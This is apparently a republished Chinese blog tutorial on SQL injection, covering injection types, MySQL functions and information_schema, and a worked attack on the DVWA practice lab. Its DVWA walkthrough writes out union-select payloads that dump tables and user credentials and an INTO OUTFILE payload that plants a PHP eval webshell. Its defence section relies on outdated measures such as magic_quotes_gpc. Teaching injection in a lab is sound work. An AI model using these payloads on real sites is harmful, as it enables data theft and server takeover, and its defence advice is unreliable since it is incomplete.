sql注入
Posted 鸡术有限
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了sql注入相关的知识,希望对你有一定的参考价值。
目录
0x01 sql注入原理
0x02 sql注入危害
0x03 sql注入类型
0x04 mysql表介绍
0x05 简单应用
0x06 防御方法
0x01 sql注入原理
简单来说就是后台执行了前端提交构造的特殊参数,而导致数据库数据泄露或者是对本地文件操作(写入木马)。
0x01a sql注入原因
SQL注入的产生原因通常表现在以下几方面:
不当的类型处理;
不安全的数据库配置;
不合理的查询集处理;
不当的错误处理;
转义字符处理不合适;
多个提交处理不当;
0x02 sql注入危害
数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
网页篡改:通过操作数据库对特定网页进行篡改。
网站被挂马,传播恶意软件。
数据库被恶意操作。
服务器被远程控制,被安装后门。
破坏硬盘数据,瘫痪全系统。
0x03 sql注入类型
0x03a 按注入点分:
(1)数字型注入点
在 Web 端大概是 http://xxx.com/news.php?id=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1 and 1=1
(2)字符型注入点
在 Web 端大概是 http://xxx.com/news.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin'。注意多了引号。组合出来的sql注入语句为:select * from news where chr='admin' and ‘1’=‘1
(3)搜索型注入点
2. 0x03b 按照数据提交方式分:
(1)GET 注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。
(2)POST 注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
(3)Cookie 注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
(4)HTTP 头部注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
3. 0x03c 按照执行效果来分类
(1)基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
(2)基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
(3)基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
(4)联合查询注入,可以使用union的情况下的注入。
(5)堆查询注入,可以同时执行多条语句的执行时的注入。
0x04 mysql表介绍
0x04a 有时候在构造参数的时候需要我们使用一些函数,来绕过过滤,接下来我们一起来认识常用的函数
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统 Windows Server 2003
0x04b information_schema表简介:
这张数据表保存了MySQL服务器所有数据库的信息。
如数据库名,数据库的表,表栏的数据类型与访问权限等。
Mysql的INFORMATION_SCHEMA数据库包含了一些表和视图,提供了访问数据库元数据的方式。
元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
包括参数
SCHEMATA表:提供了关于数据库的信息。
TABLES表:给出了关于数据库中的表的信息。
COLUMNS表:给出了表中的列信息。
STATISTICS表:给出了关于表索引的信息。
USER_PRIVILEGES表:给出了关于全程权限的信息。该信息源自mysql.user授权表。
SCHEMA_PRIVILEGES表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。
TABLE_PRIVILEGES表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。
COLUMN_PRIVILEGES表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。
CHARACTER_SETS表:提供了关于可用字符集的信息。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。
TABLE_CONSTRAINTS表:描述了存在约束的表。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。
VIEWS表:给出了关于数据库中的视图的信息。
TRIGGERS表:提供了关于触发程序的信息。
0x05 简单应用
1.判断注入类型
2.爆库名
3.爆表名
4.爆用户信息
5.传木马拿webshell
应用是在dvwa上进行的,如果有兴趣的同学可以自行搜索安装。
1.判断注入类型
可知为字符型注入
2.猜数据库
联合查询要左面和右面查出来的列要相同,所以要看左面查出来几列
由结果可知查出来2列
联合查询爆数据库名
可知数据库名为dvwa
有数据库名可以爆表名
1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#
或者
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()#
然后看有哪些列
查看 user 和password
MD5就能查到密码了
产看mysql版本
读写文件拿webshell
使用mysql的读写功能需要具有一定的权限。
secure_file_priv参数用来限制load_file,into outfile等相关读写执行函数作用于哪个指定目录。
当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出 当 secure_file_priv 的值为/tmp/ ,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下 当 secure_file_priv 的值为/,表示限制 mysqld 的导入|导出的目录为所在的整个磁盘 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制
读写文件条件:
读:file权限必备
写:1.绝对路径 2.union使用 3. 可以使用''
由于我使用的是PHPStudy搭建的环境,MySQL没有设置过secure_file_priv时,默认为 NULL
修改secure_file_priv为指定的目录:
Windows下的配置文件:../MySQL/my.ini
Linux下的配置文件:/etc/mysql/my.cnf
打开phpstudy-》其他选项菜单-》打开配置文件-》mysql-ini
在mysqlid下添加:secure_file_priv =
在上文介绍过缺省为可以读写任何文件夹,为null是限制读写
重启phpstudy
利用into outfile()函数写入一句话拿webshell:
不知道路径的情况下,先通过报错得出网站的绝对路径:
1' union select 1,2 into outfile('1')#
看报错
1' union select 1,'<?php @eval($_POST["pass"]);?>' into outfile 'D:\phpStudy\WWW\DVWA-master\vulnerabilities\sqli\'#
然后就上菜刀
连接成功
0x06 防御方法
1.开启php的魔术模式,,magic_quotes_gpc = on即可,当一些特殊字符出现在网站前端的时候,就会自动进行转化,转化成一些其他符号导致sql语句无法执行。
2.网站代码里写入过滤sql特殊字符的代码,对一些特殊字符进行转化,比如单引号,逗号,*,(括号)AND 1=1 、反斜杠,select union等查询的sql语句都进行安全过滤,限制这些字符的输入,禁止提交到后端中去。
3.开启网站防火墙,IIS防火墙,apache防火墙,nginx防火墙,都有内置的过滤sql注入的参数,当用户输入参数get、post、cookies方式提交过来的都会提前检测拦截
以上是关于sql注入的主要内容,如果未能解决你的问题,请参考以下文章